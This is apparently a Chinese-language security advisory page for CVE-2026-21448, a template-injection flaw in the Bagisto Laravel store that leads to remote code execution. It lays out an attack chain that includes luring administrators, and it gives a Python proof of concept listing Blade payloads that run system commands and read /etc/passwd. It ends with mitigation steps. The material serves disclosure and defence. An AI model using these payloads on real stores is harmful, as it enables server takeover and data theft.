IPBUF安全漏洞报告
English
CVE-2026-21448 CVSS 9.8 严重

CVE-2026-21448: Bagisto服务器端模板注入远程代码执行漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2026-21448
漏洞类型
服务器端模板注入(SSTI)、远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Bagisto

相关标签

服务器端模板注入远程代码执行SSTIRCEBagistoLaravel电商平台CVE-2026-21448Blade模板注入高危漏洞

漏洞概述

Bagisto是一款开源的Laravel电商平台。该漏洞存在于Bagisto 2.3.10之前的版本中,是一个严重的服务器端模板注入(Server-Side Template Injection,SSTI)漏洞。攻击者可以利用该漏洞在客户下单流程的地址填写环节,通过在地址字段中注入恶意模板代码,当管理员在后台查看订单或客户地址信息时,注入的恶意代码将在服务器端被执行。由于该漏洞无需认证即可利用,且攻击复杂度低,可直接导致远程代码执行(RCE),使得攻击者可以完全控制目标服务器,执行任意系统命令、安装后门、窃取敏感数据等恶意操作。该漏洞CVSS评分高达9.8,属于严重级别,对使用受影响版本Bagisto的企业和个人用户构成重大安全威胁。

技术细节

该漏洞属于经典的服务器端模板注入(SSTI)漏洞。在Bagisto电商平台中,客户在下单时需要填写收货地址信息。系统将客户提交的地址数据存储后,当管理员在后台管理界面查看订单详情或客户地址时,会将这些数据渲染到模板视图中。

漏洞产生的根本原因在于系统对用户输入的地址数据缺乏充分的输入验证和输出编码。当客户在地址字段中输入类似{{7*7}}或{{system('whoami')}}等Blade模板语法时,这些内容会被当作模板代码在服务器端解析执行。攻击者可以通过构造特定的Payload,利用Laravel Blade模板引擎的特性执行系统命令、读取文件、甚至获取服务器完全控制权。

利用此漏洞的典型攻击流程是:首先以普通客户身份在订单地址表单中注入恶意模板代码(如{{$_GET[cmd]}}或{{file_get_contents('/etc/passwd')}}等),然后诱导管理员访问相关管理页面触发代码执行。由于攻击发生在服务器端,攻击者可以绕过客户端的所有安全防护措施,直接在服务器上下文中执行任意代码。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站使用的Bagisto电商平台版本,确认版本号低于2.3.10
STEP 2
步骤2
注册账户:攻击者以普通客户身份在目标网站注册账户并完成登录
STEP 3
步骤3
发起订单:攻击者开始下单流程,进入地址填写页面
STEP 4
步骤4
注入Payload:在地址字段中注入恶意的Blade模板语法,如{{system($_GET['cmd'])}}
STEP 5
步骤5
提交订单:完成订单提交,使恶意地址数据保存到数据库中
STEP 6
步骤6
诱导管理员:攻击者通过社会工程学手段诱导平台管理员访问订单管理页面查看该订单
STEP 7
步骤7
触发执行:当管理员查看订单详情时,注入的模板代码在服务器端被Blade引擎解析执行
STEP 8
步骤8
远程代码执行:攻击者通过URL参数传递系统命令,实现远程代码执行,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-21448 Bagisto SSTI to RCE PoC # Affected Version: Bagisto < 2.3.10 import requests import json TARGET_URL = "http://target.com" # Replace with target URL # Step 1: Register a customer account and login session = requests.Session() # Login as customer (you need valid credentials) # login_url = f"{TARGET_URL}/customer/login" # session.post(login_url, data={'email': '[email protected]', 'password': 'password'}) # Step 2: Inject SSTI payload in address field during checkout # The payload tests for SSTI by evaluating template expression ssti_payload = "{{7*7}}" # Step 3: When admin views the order, the SSTI will be triggered # To confirm RCE, use a more dangerous payload: # RCE Payload examples for Blade template: # Read /etc/passwd: # {{file_get_contents('/etc/passwd')}} # Execute system command: # {{system('whoami')}} # Using Laravel's eval() or shell_exec(): # {{eval(base64_decode('c3lzdGVtKCJscyIpOw=='))}} # Base64 encoded: system("ls"); # Modern approach using _laravel_wrapper: # {{$_SERVER}} # Leak environment variables # Full exploitation example: malicious_payloads = [ # Basic SSTI test "{{7*7}}", # File read "{{file_get_contents('/etc/passwd')}}", # RCE via system() "{{system($_GET['cmd'])}}#", # RCE via shell_exec() "{{shell_exec('id')}}", # Using passthru() "{{passthru('cat /etc/hostname')}}", ] # Example: Add address with malicious payload address_data = { 'address1': malicious_payloads[2], # RCE payload 'address2': '', 'city': 'Test City', 'state': 'Test State', 'country': 'US', 'postal_code': '12345', } print("[+] CVE-2026-21448 Bagisto SSTI PoC") print("[+] Payload: {}".format(address_data['address1'])) print("[+] Note: This payload requires admin to view the order in admin panel") print("[+] After triggering, access: {}/?cmd=whoami".format(TARGET_URL))

影响范围

Bagisto < 2.3.10

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1)限制客户地址字段的输入长度和字符类型,禁止输入大括号{{}}等模板语法字符;2)在模板渲染前对用户输入进行HTML实体编码转义;3)禁用Blade模板引擎的原始输出功能(raw output);4)对管理员后台实施IP白名单访问控制;5)启用详细的访问日志和异常检测机制,及时发现可疑访问行为;6)考虑临时关闭地址管理功能或实施人工审核流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表